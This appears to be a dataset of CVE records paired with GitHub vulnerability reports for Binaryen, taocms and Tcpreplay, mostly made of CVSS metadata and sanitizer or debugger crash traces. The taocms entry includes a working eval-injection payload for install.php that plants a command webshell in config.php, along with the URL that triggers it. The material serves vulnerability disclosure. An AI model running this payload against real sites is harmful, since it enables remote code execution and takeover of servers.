/usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:406 #5 0x7d020a in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::emplace_back<void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&>(void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:105:4 #6 0x7d020a in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::pushTask(void (*)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**) /binaryen/src/wasm-traversal.h:396 #7 0x7d020a in wasm::PostWalker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::scan(wasm::BranchUtils::BranchSeeker*, wasm::Expression**) /binaryen/src/wasm-traversal.h:487 #8 0x7ca3c1 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::walk(wasm::Expression*&) /binaryen/src/wasm-traversal.h:416:7 #9 0x79be62 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression*, wasm::Name) /binaryen/src/ir/branch-utils.h:206:12 #10 0x79be62 in wasm::handleUnreachable(wasm::Block*, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #11 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #12 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #16 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #17 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #18 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #19 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #20 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #21 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #22 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #23 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #24 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #25 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #26 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #27 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #28 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-use-after-free /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) Shadow bytes around the buggy address: 0x0c2a7fff8130: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff8170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c2a7fff8180: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd 0x0c2a7fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff81a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a7fff81d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12717==ABORTING ```

A Use-after-free problem in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) function in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1865/comments

1

2019-01-12T12:32:49Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1865

398,550,317

1,865

CVE-2019-7704

2019-02-10T22:29:00.637

wasm::WasmBinaryBuilder::readUserSection in wasm-binary.cpp in Binaryen 1.38.22 triggers an attempt at excessive memory allocation, as demonstrated by wasm-merge and wasm-opt.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1866" } ]

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https://github.com/WebAssembly/binaryen/issues/1866

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Out-of-Memory problem was discovered in wasm::WasmBinaryBuilder::readUserSection(unsigned long) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. 1. Program Abort because of std::bad_alloc exception. Use "./wasm-merge $POC" to reproduce the error. [POC1.zip](https://github.com/WebAssembly/binaryen/files/2751999/POC1.zip) Program Output ``` terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Aborted ``` The ASAN dumps the stack trace as follows: ``` ==9550==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffc bytes ==9550==AddressSanitizer's allocator is terminating the process instead of returning 0 ==9550==If you don't like this behavior set allocator_may_return_null=1 ==9550==AddressSanitizer CHECK failed: /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5d1dd5 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5ef695 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5d81d6 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5d8216 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x50e307 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x60121f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0x89ae8b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0x89ae8b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0x89ae8b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0x89ae8b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0x89ae8b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x840f67 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x81412a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x60aa08 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-merge.cpp:617:16 #16 0x7f7b2fdad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x508d58 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-merge+0x508d58) ``` 2. possibly invalid request for silly amounts of memory Use "wasm-opt $POC" to reproduce the error. [POC2.zip](https://github.com/WebAssembly/binaryen/files/2752001/POC2.zip) Program Output ``` Fatal: error in building module, std::bad_alloc (possibly invalid request for silly amounts of memory) ``` The ASAN dumps the stack trace as follows: ``` ==22673==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes ==22673==AddressSanitizer's allocator is terminating the process instead of returning 0 ==22673==If you don't like this behavior set allocator_may_return_null=1 ==22673==AddressSanitizer CHECK failed: /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5e2705 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5fffc5 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5e8b06 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5e8b46 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x51ec37 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x611b4f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0xa0537b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0xa0537b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0xa0537b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0xa0537b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0xa0537b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x9ab457 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x97e61a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0xa7ebfd in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0xa816d0 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x624a39 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #16 0x7f262eb2482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x519688 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x519688) ```

Out of Memory Problem in function wasm::WasmBinaryBuilder::readUserSection(unsigned long)

https://api.github.com/repos/WebAssembly/binaryen/issues/1866/comments

1

2019-01-12T12:56:27Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1866

398,551,981

1,866

CVE-2019-7720

2019-02-11T04:29:00.357

taocms through 2014-05-24 allows eval injection by placing PHP code in the install.php db_name parameter and then making a config.php request.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/taogogo/taocms/issues/1" } ]

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https://github.com/taogogo/taocms/issues/1

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "taogogo", "taocms" ]

In the CMS installation process, the configuration file filtering is not rigorous, you can insert malicious code in the installation process to execute arbitrary commands, and even get Webshell Source: ./install.php:234-238 $configs=file_get_contents('config.php'); $_POST['tb']&&$configs=str_replace('define(\'TB\', \''.TB.'\');','define(\'TB\', \''.$_POST['tb'].'\');',$configs); $_POST['db']&&$configs=str_replace('define(\'DB\', \''.DB.'\');','define(\'DB\', \''.$_POST['db'].'\');',$configs); $_POST['db_name']&&$configs=str_replace('define(\'DB_NAME\', \''.DB_NAME.'\');','define(\'DB_NAME\', \''.$_POST['db_name'].'\');',$configs); file_put_contents('config.php',$configs); payload： /taocms-master/install.php [POST]db=Mysql&db_name=%7C127.0.0.1%3A3306%7Croot%7Croot%7Cwity%7C');assert($_REQUEST['cmd']);//&tb=test&Submit=%E7%82%B9%E5%87%BB%E6%AD%A4%E5%A4%84%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85%E5%85%8D%E8%B4%B9%E5%BC%80%E6%BA%90%E7%9A%84taoCMS%E7%B3%BB%E7%BB%9F ![image](https://user-images.githubusercontent.com/9081952/51842813-b4d73480-234c-11e9-91e8-bc2b0288e9d2.png) exploit: http://127.0.0.1/taocms-master/config.php?cmd=phpinfo(); ![image](https://user-images.githubusercontent.com/9081952/51842540-1519a680-234c-11e9-9df3-706c9b84ec9a.png)

one can insert malicious code in the installation process to get a web shell

https://api.github.com/repos/taogogo/taocms/issues/1/comments

2

2019-01-28T14:34:00Z

2021-03-03T17:01:24Z

https://github.com/taogogo/taocms/issues/1

403,842,977

1

CVE-2019-8376

2019-02-17T02:29:00.223

An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_layer4_v6() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107085" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/537" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-get_layer4_v6-tcpreplay-4-3-1/" } ]

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https://github.com/appneta/tcpreplay/issues/537

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed a NULL pointer dereference occured in function get_layer4_v6 () located at get.c .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/NP_REPL?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xfb $rdx : 0x334 $rsp : 0x00007fffffffd8f0 → 0x000000fbffffd940 $rbp : 0x00007fffffffd920 → 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 $rsi : 0x123 $rdi : 0x00005555557be236 → 0x6e0000000000cb00 $rip : 0x000055555557674a → <get_layer4_v6+222> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x00005555557be200 → 0x0000000000000000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd8f0│+0x0000: 0x000000fbffffd940 ← $rsp 0x00007fffffffd8f8│+0x0008: 0x00005555557be20e → 0x0000322ffb000062 ("b"?) 0x00007fffffffd900│+0x0010: 0x0000000000000000 0x00007fffffffd908│+0x0018: 0x000001230000002a ("*"?) 0x00007fffffffd910│+0x0020: 0x00005555557be236 → 0x6e0000000000cb00 0x00007fffffffd918│+0x0028: 0x0000000000000000 0x00007fffffffd920│+0x0030: 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 ← $rbp 0x00007fffffffd928│+0x0038: 0x00005555555695b0 → <do_checksum+224> mov rdx, rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555557673d <get_layer4_v6+209> call 0x555555576798 <get_ipv6_next> 0x555555576742 <get_layer4_v6+214> mov QWORD PTR [rbp-0x8], rax 0x555555576746 <get_layer4_v6+218> mov rax, QWORD PTR [rbp-0x8] → 0x55555557674a <get_layer4_v6+222> movzx eax, BYTE PTR [rax] 0x55555557674d <get_layer4_v6+225> mov BYTE PTR [rbp-0x19], al 0x555555576750 <get_layer4_v6+228> mov rax, QWORD PTR [rbp-0x8] 0x555555576754 <get_layer4_v6+232> mov QWORD PTR [rbp-0x10], rax 0x555555576758 <get_layer4_v6+236> jmp 0x555555576791 <get_layer4_v6+293> 0x55555557675a <get_layer4_v6+238> mov eax, 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:get.c+410 ──── 405 case TCPR_IPV6_NH_DESTOPTS: 406 case TCPR_IPV6_NH_HBH: 407 dbgx(3, "Going deeper due to extension header 0x%02X", proto); 408 maxlen = len - (int)((u_char *)ip6_hdr - (u_char *)next); 409 exthdr = get_ipv6_next(next, maxlen); // exthdr=0x00007fffffffd918 → 0x0000000000000000 → 410 proto = exthdr->ip_nh; 411 next = exthdr; 412 break; 413 414 /* 415 * Can't handle. Unparsable IPv6 fragment/encrypted data ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x55555557674a → get_layer4_v6(ip6_hdr=0x5555557be20e, len=0xfb) [#1] 0x5555555695b0 → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x8, len=0xfb) [#2] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#3] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```

NULL pointer dereference in get_layer4_v6()

https://api.github.com/repos/appneta/tcpreplay/issues/537/comments

2

2019-02-12T09:07:37Z

2019-03-12T20:03:12Z

https://github.com/appneta/tcpreplay/issues/537

409,191,160

537

CVE-2019-8377

2019-02-17T02:29:00.283

An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_ipv6_l4proto() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }

